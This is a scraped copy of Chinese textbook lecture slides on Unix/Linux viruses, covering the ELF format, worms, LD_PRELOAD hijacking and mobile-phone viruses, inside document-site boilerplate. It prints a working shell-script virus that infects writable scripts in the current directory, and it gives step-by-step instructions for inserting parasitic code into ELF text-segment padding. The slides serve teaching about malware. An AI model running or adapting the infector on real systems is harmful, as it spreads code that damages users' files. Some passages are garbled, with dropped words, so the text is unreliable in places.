版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領
文檔簡介
://tup張仁斌李鋼侯整風
編著計算機病毒與反病毒技術(shù)清華大學出版社主要內(nèi)容Linux系統(tǒng)的啟動過程ELF文件格式Linux病毒的感染機制病毒的根本原理及其防范第10章Unix/Linux病毒與病毒簡介10.1.1文件結(jié)構(gòu)文件結(jié)構(gòu)是文件存放在磁盤等存貯設備上的組織方法。主要表達在對文件和目錄的組織上目錄提供了管理文件的一個方便而有效的途徑Linux使用標準的目錄結(jié)構(gòu),在安裝的時候,安裝程序就已經(jīng)為用戶創(chuàng)立了文件系統(tǒng)和完整而固定的目錄組成形式,并指定了每個目錄的作用和其中的文件類型10.1Linux文件系統(tǒng)根底Linux樹型目錄結(jié)構(gòu)示意圖10.1.2文件系統(tǒng)文件系統(tǒng)指文件存在的物理空間,Linux系統(tǒng)中每個分區(qū)都是一個文件系統(tǒng),都有自己的目錄層次結(jié)構(gòu)Linux將這些分屬不同分區(qū)的、單獨的文件系統(tǒng)按一定的方式形成一個系統(tǒng)的總的目錄層次結(jié)構(gòu)Linux文件系統(tǒng)使用索引節(jié)點來記錄文件信息,其作用類似Windows的文件分配表索引節(jié)點是一個結(jié)構(gòu),它包含了一個文件的長度、創(chuàng)立及修改時間、權(quán)限、所屬關系、磁盤中的位置等信息一個文件系統(tǒng)維護了一個索引節(jié)點的數(shù)組,每個文件或目錄都與索引節(jié)點數(shù)組中的唯一一個元素對應系統(tǒng)給每個索引節(jié)點分配了一個號碼,也就是該節(jié)點在數(shù)組中的索引號,稱為索引節(jié)點號Linux文件系統(tǒng)將文件索引節(jié)點號和文件名同時保存在目錄中10.1Linux文件系統(tǒng)根底Linux系統(tǒng)啟動過程10.2Linux系統(tǒng)啟動過程簡介ELF(ExecutableandLinkingFormat,可執(zhí)行鏈接格式)是Unix系統(tǒng)實驗室(USL)作為應用程序二進制接口(ApplicationBinaryInterface,ABI)而開發(fā)和發(fā)布的工具接口標準委員會(TIS)選擇了正在開展中的ELF標準作為工作在32位Intel體系上不同操作系統(tǒng)之間可移植的二進制文件格式ELF標準定義了一個二進制接口集合,用以支持流線型的軟件開發(fā),從而減少不同執(zhí)行接口的數(shù)量,因此可以減少重新編程、重新編譯的代碼有關ELF的主要內(nèi)容:目標文件(ObjectFiles),描述ELF目標文件格式三種主要的類型程序轉(zhuǎn)載和動態(tài)連接,描述目標文件的信息和系統(tǒng)在創(chuàng)立運行時程序的行為10.3ELF文件格式10.3.1目標文件iABI的目標文件的格式,被稱作ELF在目標文件中有三種主要的類型:可重定位文件(RelocatableFile),保存著代碼和適當?shù)臄?shù)據(jù),用來和其他的目標文件一起創(chuàng)立一個可執(zhí)行文件或者是一個共享文件可執(zhí)行文件(ExecutableFile),保存著一個用來執(zhí)行的程序;該文件指出了exec(BA_OS)如何來創(chuàng)立程序進程映像共享目標文件(SharedObjectFile),保存著代碼和適宜的數(shù)據(jù),用來被下面的兩個鏈接器鏈接鏈接編輯器可以和其他的可重定位與共享目標文件來創(chuàng)立其他的目標動態(tài)鏈接器聯(lián)合可執(zhí)行文件和其他的共享目標文件來創(chuàng)立一個進程映像10.3ELF文件格式10.3.1目標文件目標文件參與程序的鏈接(創(chuàng)立一個程序)和程序的執(zhí)行(運行一個程序)從便利性和有效性來看,目標文件格式提供了文件內(nèi)容的并行視圖,以反映出不同的需要Linking視圖Execution視圖10.3ELF文件格式10.3.2ELF頭#defineEI_NIDENT16typedefstruct{unsignedchare_ident[EI_NIDENT];/*目標文件標識*/Elf32_Halfe_type;/*目標文件類型*/Elf32_Halfe_machine;/*給出文件的目標體系結(jié)構(gòu)類型*/Elf32_Worde_version;/*目標文件版本*/Elf32_Addre_entry;/*程序入口的虛擬地址,如果目標文件沒有程序入口,可以為0*/Elf32_Offe_phoff;/*程序頭表的偏移量(按字節(jié)計算)*/Elf32_Offe_shoff;/*節(jié)頭表的偏移量(按字節(jié)計算)*/Elf32_Worde_flags;/*保存與文件相關的,特定于處理器的標志*/Elf32_Halfe_ehsize;/*ELF頭部的長度(以字節(jié)計算)*/Elf32_Halfe_phentsize;/*程序頭表的表項大小(按字節(jié)計算)*/Elf32_Halfe_phnum;/*程序頭表的表項數(shù)目,可以為0*/Elf32_Halfe_shentsize;/*節(jié)頭表的表項大小(按字節(jié)計算)*/Elf32_Halfe_shnum;/*節(jié)頭表的表項數(shù)目,可以為0*/Elf32_Halfe_shstrndx;/*節(jié)頭表中與節(jié)名稱字符串表相關的表項的索引*/}Elf32_Ehdr;10.3ELF文件格式10.3.3節(jié)一個目標文件的節(jié)頭表可以定位所有的節(jié)節(jié)頭表是一個Elf32_Shdr結(jié)構(gòu)的數(shù)組一個節(jié)頭表的索引是這個數(shù)組的下標節(jié)頭表的e_shoff成員給出了節(jié)頭表的偏移量(從文件開始計數(shù))。e_shnum說明節(jié)頭表中包含了多少個表項;e_shentsize給出了每個表項的長度節(jié)頭表索中某些引是保存的,這些專用索引在目標文件中將沒有與之對的應節(jié)節(jié)頭的結(jié)構(gòu)所示:10.3ELF文件格式typedefstruct{Elf32_Wordsh_name;/*節(jié)名稱。是節(jié)頭字符串表節(jié)的索引。名字是NULL結(jié)尾的字符串*/Elf32_Wordsh_type;/*為節(jié)的內(nèi)容和語義進行分類*/Elf32_Wordsh_flags;/*節(jié)支持1位形式的標志志,這些標志描述了多種屬性*/Elf32_Addrsh_addr;/*如果節(jié)出現(xiàn)在進程的內(nèi)存映像中,此成員給出節(jié)的第一個字節(jié)的地址,否則,此字段為0*/Elf32_Offsh_offset;/*此成員的取值給出節(jié)的第一個字節(jié)與文件頭之間的偏移。不過,SHT_NOBITS類型的節(jié)不占用文件的空間,因此其sh_offset成員給出的是其概念性的偏移*/Elf32_Wordsh_size;/*此成員給出節(jié)的長度(字節(jié)數(shù))。除非節(jié)的類型是SHT_NOBITS,否則節(jié)占用文件中的sh_size字節(jié)。類型為SHT_NOBITS的節(jié)長度可能非零,但不占用文件中的空間。*/Elf32_Wordsh_link;/*此成員給出節(jié)頭部表索引鏈接。其具體的解釋依賴于節(jié)類型*/Elf32_Wordsh_info;/*此成員給出附加信息,其解釋依賴于節(jié)類型*/Elf32_Wordsh_addralign;/*某些節(jié)帶有地址對齊約束。例如,若一個節(jié)保存一個doubleword,那么系統(tǒng)必須保證整個節(jié)能夠按雙字對齊。sh_addr對sh_addralign取模,結(jié)果必須為0。目前僅允許取值為0和2的冪次數(shù)。數(shù)值0和1表示節(jié)沒有對齊約束*/Elf32_Wordsh_entsize;/*某些節(jié)中包含固定大小的項目,如符號表。對于這類節(jié),此成員給出每個表項的長度字節(jié)數(shù)。如果節(jié)中并不包含固定長度表項的表,此成員取值為0*/}Elf32_Shdr;10.3.4字符串表字符串表節(jié)(StringTableSection)保存著以NULL終止的一系列字符(一般稱為字符串)目標文件使用這些字符串來表示符號和節(jié)名一個字符串的引用是一個符串表節(jié)的索引。第一個字節(jié),即索引0,被定義保存著一個NULL字符。同樣的,一個符串表的最后一個字節(jié)保存著一個NULL字符,所有的字符串都以NULL終止索引0的字符串是沒有名字或者說是NULL,它的解釋依靠上下文。一個空的符串表節(jié)是允許的;它的節(jié)頭成員sh_size將為0。對空的符串表來說,非0的索引是沒有用的一個節(jié)頭的sh_name成員保存了一個對應于該節(jié)頭字符串表的索引一個字符串表可能涉及該節(jié)中的任意字節(jié)。一個字符串可能引用不止一次,可能存在引用子串的情況。一個字符串也可能被引用假設干次,也允許存在不被引用的字符串10.3ELF文件格式10.3.5符號表一個目標文件的符號表(SymbolTable)保存了一個程序在定位和重定位時需要的定義和引用的信息一個符號表索引是相應的數(shù)組下標10.3ELF文件格式typedefstruct{Elf32_Wordst_name;/*該成員保存了進入該目標文件的符號字符串表的索引。如果該值不為0,則它代表了給出符號名的字符串表索引。否則,該符號無名*/Elf32_Addrst_value;/*給出相應的符號值,它可能是絕對值或地址等(依賴于上下文)*/Elf32_Wordst_size;/*許多符號和長度相關。比如,一個數(shù)據(jù)對象的大小是該對象所包含的字節(jié)數(shù)目。如果該符號的大小未知或沒有大小則這個成員為0*/unsignedcharst_info;/*指出符號的類型和相應的屬性*/unsignedcharst_other;/*目前為0,沒有含義*/Elf32_Halfst_shndx;/*每一個符號表的表項都定義為和某些節(jié)相關,該成員保存了相關的節(jié)頭索引。某些節(jié)索引指出了特殊的含義*/}Elf32_Sym;10.3.6重定位重定位(Relocation)是鏈接符號引用和符號定義的過程。例如,當一個程序調(diào)用一個函數(shù)的時候,相關的調(diào)用必須在執(zhí)行時把控制傳送到正確的目標地址。也就是說,重定位文件應當包含有如何修改它們的節(jié)內(nèi)容的信息,從而允許可執(zhí)行文件或共享目標文件為一個進程的程序映像保存正確的信息10.3ELF文件格式typedefstruct{Elf32_Addrr_offset;Elf32_Wordr_info;}Elf32_Rel;
typedefstruct{Elf32_Addrr_offset;Elf32_Wordr_info;Elf32_Swordr_addend;}Elf32_Rela;10.3.7程序載入和動態(tài)鏈接概述程序頭(ProgramHeader),描述和程序運行相關的目標文件結(jié)構(gòu)10.3ELF文件格式typedefstruct{Elf32_Wordp_type;/*此數(shù)組元素描述的段的類型,或者如何解釋此數(shù)組元素的信息*/Elf32_Offp_offset;/*此成員給出從文件頭到該段第一個字節(jié)的偏移*/Elf32_Addrp_vaddr;/*此成員給出段的第一個字節(jié)將被放到內(nèi)存中的虛擬地址*/Elf32_Addrp_paddr;/*此成員僅用于與物理地址相關的系統(tǒng)中,因為SystemV忽略所有應用程序的物理地址信息,此字段對與可執(zhí)行文件和共享目標文件而言具體內(nèi)容是未指定的*/Elf32_Wordp_filesz;/*此成員給出段在文件映像中所占的字節(jié)數(shù),可以為0*/Elf32_Wordp_memsz;/*此成員給出段在內(nèi)存映像中占用的字節(jié)數(shù),可以為0*/Elf32_Wordp_flags;/*此成員給出與段相關的標志*/Elf32_Wordp_align;/*可加載的進程段的p_vaddr和p_offset取值必須合適,相對于對頁面大小的取模而言。此成員給出段在文件中和內(nèi)存中如何對齊。數(shù)值0和1表示不需要對齊,否則p_align應該是個正整數(shù),并且是2的冪次數(shù),p_vaddr和p_offset對p_align取模后應該相等*/}Elf32_Phdr;10.3.7程序載入和動態(tài)鏈接概述載入程序(ProgramLoading),在給定一個目標文件時,系統(tǒng)為了讓它運行必須將它載入內(nèi)存10.3ELF文件格式MemberTextDatap_typePT_LOADPT_LOADp_offset0x1000x2bf00p_vaddr0x80481000x8074f00p_paddrunspecifiedunspecifiedp_filesz0x2be000x4e00p_memsz0x2be000x5e24p_flagsPF_R+PF_XPF_R+PF_W+PF_Xp_align0x10000x1000可執(zhí)行文件程序頭段10.3.7程序載入和動態(tài)鏈接概述進程映像段10.3ELF文件格式10.3.7程序載入和動態(tài)鏈接概述程序解釋器系統(tǒng)為解釋器構(gòu)造了一個內(nèi)存映像,而不是使用原始的可執(zhí)行文件的段映像。此時該解釋器就負責接收系統(tǒng)來的控制并且為應用程序提供一個環(huán)境變量解釋器使用兩種方法中的一種來接收系統(tǒng)來的控制接收一個文件描述符來讀取該可執(zhí)行文件,定位于開頭。它可以使用這個文件描述符來讀取并且(或者)映射該可執(zhí)行文件的段到內(nèi)存中依賴于該可執(zhí)行文件的格式,系統(tǒng)會載入這個可執(zhí)行文件到內(nèi)存中而不是給該解釋器一個文件描述符。伴隨著可能的文件描述符異常的情況,解釋器的初始進程聲明應匹配該可執(zhí)行文件應當收到的內(nèi)容10.3ELF文件格式10.3.7程序載入和動態(tài)鏈接概述解釋器本身并不需要第二個解釋器。一個解釋器可能是一個共享對象也可能是一個可執(zhí)行文件一個共享對象在被載入的時候是與位置無關的,各個進程可能不同;系統(tǒng)在mmap(KE_OS)使用的動態(tài)段域為它創(chuàng)立段和相關的效勞。因而,一個共享對象的解釋器將不會和原始的可執(zhí)行文件的原始段地址相沖突一個可執(zhí)行文件被載入到固定地址,系統(tǒng)使用程序頭表中的虛擬地址為其創(chuàng)立段。因而,一個可執(zhí)行文件解釋器的虛擬地址可能和第一個可執(zhí)行文件相沖突;這種沖突由解釋器來解決10.3ELF文件格式10.3.7程序載入和動態(tài)鏈接概述動態(tài)鏈接器(DynamicLinker)當使用動態(tài)鏈接方式建立一個可執(zhí)行文件時,鏈接器把一個PT_INTERP類型的元素加到可執(zhí)行文件中,告訴系統(tǒng)把動態(tài)鏈接器作為該程序的解釋器Exec(BA_OS)和動態(tài)鏈接器合作為程序創(chuàng)立進程,必須有如下的動作:將可執(zhí)行文件的內(nèi)存段參加進程映像中將共享對象的內(nèi)存段參加進程映像中為可執(zhí)行文件和它的共享對象進行重定位如果有一個用于讀取可執(zhí)行文件的文件描述符傳遞給了動態(tài)鏈接器,那么關閉它向程序傳遞控制,就象該程序已經(jīng)直接從exec(BA_OS)接收控制一樣鏈接器同時也為動態(tài)鏈接器構(gòu)建各種可執(zhí)行文件和共享對象文件的相關數(shù)據(jù)。這些數(shù)據(jù)駐留在可載入段中,使得它們在執(zhí)行過程中有效10.3ELF文件格式10.4.1有關Unix病毒的幾個誤區(qū)最大的一個誤區(qū)就是認為很多高性能的平安系統(tǒng)能預防病毒蔓延另一個誤區(qū)就是認為Linux系統(tǒng)尤其可以防止病毒的感染,因為Linux的程序都來自于源代碼,不是二進制格式第三個誤區(qū)就是認為Unix系統(tǒng)是絕對平安的,因為它具有很多不同的平臺,而且每個版本的Unix系統(tǒng)有很大的差異10.4Unix病毒概述10.4.2Shell腳本與病毒書寫Shell腳本病毒是一個很簡單的制造Unix、Linux病毒的方法Shell在不同的Unix/Linux系統(tǒng)上的差異很小這種病毒可以算是一種跨系統(tǒng)的病毒Shell腳本病毒的危害性不會很大并且它本身極易被破壞,因為它是以明文方式編寫并執(zhí)行的,任何用戶和管理員都可以覺察它10.4Unix病毒概述#infectionhead-n24$0>.testforfilein*doiftest-f$filetheniftest-x$filetheniftest-w$filethenifgrep-secho$file>.mmmthenhead-n1$file>.mmifgrep-sinfection.mm>.mmmthenrm-f.mmelsecat$file>.SAVEEcat.test>$filecat.SAVEE>>$filefi;fi;fi;fi;fidonerm.test.SAVEE.mmm.mm-f
取自身保存到.test遍歷文件系統(tǒng)
判斷是否為文件
判斷文件是否可執(zhí)行
判斷文件是否可寫
判斷是否為腳本程序
提取要感染的腳本程序的第一行判斷該文件是否已經(jīng)被感染
已經(jīng)被感染,則跳過還未被感染借用傳統(tǒng)的二進制文件的感染機制
10.4.3蠕蟲早期的蠕蟲,根本上只運行于Unix系統(tǒng),因為最初網(wǎng)絡還處于以Unix平臺為主的時期莫里斯蠕蟲是最典型的代表。該蠕蟲利用SendMail程序存在的一個漏洞來獲取其它計算機的控制權(quán)。病毒一般會利用rexec、fingerd或者口令猜解來嘗試連接。在成功入侵之后,它會在目標機器上編譯源代碼并且執(zhí)行它,而且會有一個程序來專門負責隱藏自己的蹤跡網(wǎng)絡蠕蟲一般都是利用的攻擊程序去獲得目標機的管理員權(quán)限。但是蠕蟲的生命也很短暫,當該蠕蟲所利用的漏洞被修補的話,那么該蠕蟲也就失去了它的作用10.4Unix病毒概述10.4.4欺騙庫函數(shù)可以LD_PRELOAD環(huán)境變量把標準的庫函數(shù)替換成自己的程序,從而讓宿主程序執(zhí)行替換后的程序10.4Unix病毒概述10.4.5Unix/Linux的平安現(xiàn)狀由于Linux繼承了Unix良好的權(quán)限管理機制,可執(zhí)行文件和系統(tǒng)文件不容易被感染,設計Unix或Linux上的病毒,面臨更大的技術(shù)困難,利用ELF格式的二進制文件來制作病毒并不容易如果一個病毒感染的宿主文件擁有的權(quán)限是普通用戶權(quán)限,那么該病毒所得到的權(quán)限當然也就只有普通用戶權(quán)限(并且病毒不會利用exploit來提升權(quán)限),只能對該用戶權(quán)限級別的文件和數(shù)據(jù)造成危害。但是當一個病毒感染了一個root權(quán)限的文件的話,那么它就可以控制系統(tǒng)的一切目前Linux系統(tǒng)有可能還比較平安,但不代表永遠平安Linux系統(tǒng)越來越流行,這將吸引大批病毒制造者,Unix/Linux病毒逐年升溫的趨勢已經(jīng)證明了這一點正如CIH病毒敲響了Windows系統(tǒng)的平安警鐘一樣,任何系統(tǒng)都難逃病毒的惡意攻擊目前已經(jīng)出現(xiàn)了跨Windows、Linux平臺的病毒10.4Unix病毒概述10.5.1病毒機理進程映像包含“文本段〞(TextSegment,有時也稱代碼段)和“數(shù)據(jù)段〞(DataSegment)文本段的內(nèi)存保護屬性是r-x,因此一般自修改代碼不能用于文本段;數(shù)據(jù)段的內(nèi)存保護屬性是rw-并不要求段長度是頁長度的整數(shù)倍,常用到填充(Padding)典型的,數(shù)據(jù)段不需要從頁邊界開始,而文本段要求起始頁邊界對齊10.5基于ELF的計算機病毒10.5.1病毒機理一個進程映像的內(nèi)存布局可能如下其中“T〞代表文本信息;“D〞代表數(shù)據(jù)信息;“P〞代表填充信息頁1、2、3組成文本段頁4、5、6組成數(shù)據(jù)段頁號#1[TTTTTTTTTTTTTTTT]←文本段內(nèi)容#2[TTTTTTTTTTTTTTTT]←文本段內(nèi)容#3[TTTTTTTTTTTTPPPP]←文本段內(nèi)容(局部)#4[PPPPDDDDDDDDDDDD]←數(shù)據(jù)段內(nèi)容(局部)#5[DDDDDDDDDDDDDDDD]←數(shù)據(jù)段內(nèi)容#6[DDDDDDDDDDDDPPPP]←數(shù)據(jù)段內(nèi)容(局部)10.5基于ELF的計算機病毒10.5.1病毒機理段邊界上的頁填充提供了插入寄生代碼的地方,只要空間允許,在這里插入寄生代碼不破壞原有段內(nèi)容,不要求重定位文本段結(jié)尾處的頁填充是插入寄生代碼的好的地方,插入寄生代碼之后,ELF文件布局如下所示ELFHeaderProgramheadertableSegment1-文本段(主體代碼)-寄生代碼Segment2SectionheadertableSection1..Sectionn10.5基于ELF的計算機病毒10.5.1病毒機理為了在文本段末尾插入寄生代碼,必須按如下步驟進行:(1)修改ELF頭的成員e_shoff(e_phoff位于插入點之前)(2)定位文本段的程序頭:修改p_filesz、p_memsz的值(3)循環(huán)處理位于插入點之后各段相應的程序頭:修改p_offset的值以反映新的位置(4)循環(huán)處理位于插入點之后各節(jié)相應的節(jié)頭:修改sh_offset的值(5)在靜態(tài)文件中物理地插入寄生代碼,插入點位于文本段p_offset+p_filesz(修改之前的原始值)修改ELF頭成員e_shoff的原因在于節(jié)頭表位于插入點之后。一般而言,可執(zhí)行文件中的節(jié)頭表位于各段之后10.5基于ELF的計算機病毒10.5.1病毒機理為了適應ELF標準中的這個要求,為了在宿主代碼之前運行病毒體,還需要修改程序入口點的虛擬地址,同時需要在寄生代碼尾部能夠跳轉(zhuǎn)回宿主代碼原入口點繼續(xù)正常流程,插入寄生代碼的步驟修改如下:修改ELF頭成員e_shoff,以PAGE_SIZE為單位增加修正插入的寄生代碼的尾部,使之能夠跳轉(zhuǎn)回宿主代碼原入口點定位文本段的程序頭:修正ELF頭的e_entry,指向病毒體(p_vaddr+p_filesz);修正p_filesz,增加病毒體大小(注意:這里不是增加頁大小);修正p_memsz,增加病毒體大小(注意:這里不是增加頁大小)循環(huán)處理位于插入點之后各段相應的程序頭:以PAGE_SIZE為單位增加p_offset的值循環(huán)處理位于插入點之后各節(jié)相應的節(jié)頭:以PAGE_SIZE為單位增加sh_offset的值10.5基于ELF的計算機病毒10.5.1病毒機理在靜態(tài)文件中物理地插入寄生代碼及填充(確保構(gòu)成一個完整頁),插入點位于文本段p_offset+p_filesz(修改之前的原始值)經(jīng)過上述修改,病毒可以隨機遍歷一個目錄樹,尋找可執(zhí)行文件和動態(tài)鏈接庫文件(對應的e_type分別等于ET_EXEC、ET_DYN),加以感染10.5基于ELF的計算機病毒10.5.2一個Linux病毒原型分析例如病毒分為兩大局部ELF文件感染器(ELFInfector)文件感染器將二進制代碼(病毒體)插入到ELF文件的文本段,并讓病毒體在目標文件執(zhí)行時首先被執(zhí)行。其原理就是上一節(jié)介紹的病毒機理概念性病毒首先通過文件感染器將病毒代碼感染到一個ELF文件,這樣就創(chuàng)造了第一個帶毒文件,后續(xù)的傳播就由病毒自己來完成當帶毒文件被執(zhí)行時,會首先跳到病毒代碼開始執(zhí)行病毒代碼開始發(fā)作,在這個原型里,病毒會直接開始傳播病毒遍歷當前目錄下的每一個文件,如果是符合條件的ELF文件就開始感染病毒的感染過程和ELFInfector的過程類似,但由于工作環(huán)境的不同,代碼的實現(xiàn)也是有較大區(qū)別的10.5基于ELF的計算機病毒10.5.2一個Linux病毒原型分析目前傳染對ELF文件的根本要求是文本段要有剩余空間能夠容納病毒代碼,如果無法滿足,病毒會忽略此ELF。對于被感染過一次的ELF文件,文本段將不會有剩余的空間,因此二次感染是不會發(fā)生的病毒代碼執(zhí)行過后,會恢復堆棧和所有存放器〔這很重要〕,然后跳回到真正的可執(zhí)行文件入口,開始正常的運行過程10.5基于ELF的計算機病毒10.6.1病毒原理病毒其實也和計算機病毒一樣,它可以通過計算機執(zhí)行從而向亂發(fā)短信息嚴格地講,病毒應該是一種計算機病毒,這種病毒只能在計算機網(wǎng)絡上進行傳播而不能通過進行傳播,因此所謂的病毒其實是計算機病毒程序啟動了電信公司的一項效勞,例如電子郵件到短信息的功能,而且它發(fā)給的是文檔,根本就無破壞力可言。當然也有的病毒破壞力還是比較大的,一旦發(fā)作可能比個人計算機病毒更厲害,傳播速度更快侵襲上網(wǎng)的病毒,會自動啟動錄音功能,并將錄音四處傳送,病毒也會自動打出、刪除上的檔案內(nèi)容,以及制造出金額龐大的賬單10.6病毒簡介10.6.1病毒原理由于局部病毒是從自動打出時散播,因為網(wǎng)絡聯(lián)系得太完善,因而它比計算機病毒影響更廣,而將來隨著設計更復雜及功能更多元化,病毒帶來的災害亦會更廣另外由于還有其他的數(shù)據(jù)通訊方式,例如短信息、WAP效勞,以及GRPS高速因特網(wǎng)連接效勞,一方面它們確實能給我們帶來方便,只需按幾個鍵就可以換個LOGO、下載喜愛的鈴聲,甚至可以實現(xiàn)高速的因特網(wǎng)連接。但也正是這些功能,可以寫入系統(tǒng)或內(nèi)存指令,攻擊者只要找到缺口,傳出一個帶毒的短信息,以操作系統(tǒng)的匯編語言編寫病毒指令,改變系統(tǒng)的機內(nèi)碼(machinecode),將指令藏在記憶體中,然后再開啟其他的本,大肆傳播病毒,在一定時間內(nèi)發(fā)作,破壞的開機系統(tǒng)10.6病毒簡介10.6.2病毒的攻擊方式及危害針對的攻擊,主要可以分為以下幾類:攻擊WAP效勞器等相關設備,使WAP無法接收正常信息攻擊、控制接入效勞器,或者利用網(wǎng)關漏洞,向發(fā)送大量垃圾信息。典型的就是利用各大門戶網(wǎng)站的效勞漏洞,編寫程序,不停地用某個號碼訂閱某項效勞或者退定某個效勞,例如SMS.Flood病毒直接攻擊本身,使無法提供效勞。這種破壞方式難度相對較大,目前主要是利用程序的漏洞,發(fā)送精心構(gòu)造的短信(SMS)或者彩信(MMS),造成內(nèi)部程序出錯,從而導致不能正常工作,就像我們經(jīng)常在計算機上看到的“程序出錯〞情況一樣。典型的例子就是針對西門子的Mobile.SMSDOS病毒10.6病毒簡介10.6.3漏洞分析攻擊的一個重要途徑,就是利用漏洞。主要有以下一些漏洞:Nokia某些產(chǎn)品
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2023年合肥經(jīng)開區(qū)臨湖社區(qū)衛(wèi)生服務中心招聘筆試真題
- 2024年托育綜合服務中心建設項目合同文本6篇
- 2024年挖掘機操作培訓及認證服務合同3篇
- 2024年特許經(jīng)營協(xié)議:品牌加盟
- 云南昆明房屋交易合同樣本
- 物業(yè)服務合同的創(chuàng)新發(fā)展趨勢
- 工廠定制保安服務合同
- 定金保證金書范本
- 毛石供應合同協(xié)議條款
- 地質(zhì)勘察招標文件要點
- 報聯(lián)商有效溝通課件
- 病生-腎功能衰竭附有答案
- 醫(yī)師執(zhí)業(yè)、變更執(zhí)業(yè)、多機構(gòu)備案申請審核表
- 小型預制構(gòu)件施工方案
- 學校網(wǎng)絡與信息安全檢查表
- 江蘇省南京市各縣區(qū)鄉(xiāng)鎮(zhèn)行政村村莊村名居民村民委員會明細及行政區(qū)劃代碼
- 初中作文擬題技巧課件
- 鄰二甲苯安全技術(shù)說明書
- 高熱的中醫(yī)護理課件
- 國內(nèi)工程建設招標招投標實務操作手冊范本
- 城市智慧排水管網(wǎng)監(jiān)測解決方案
評論
0/150
提交評論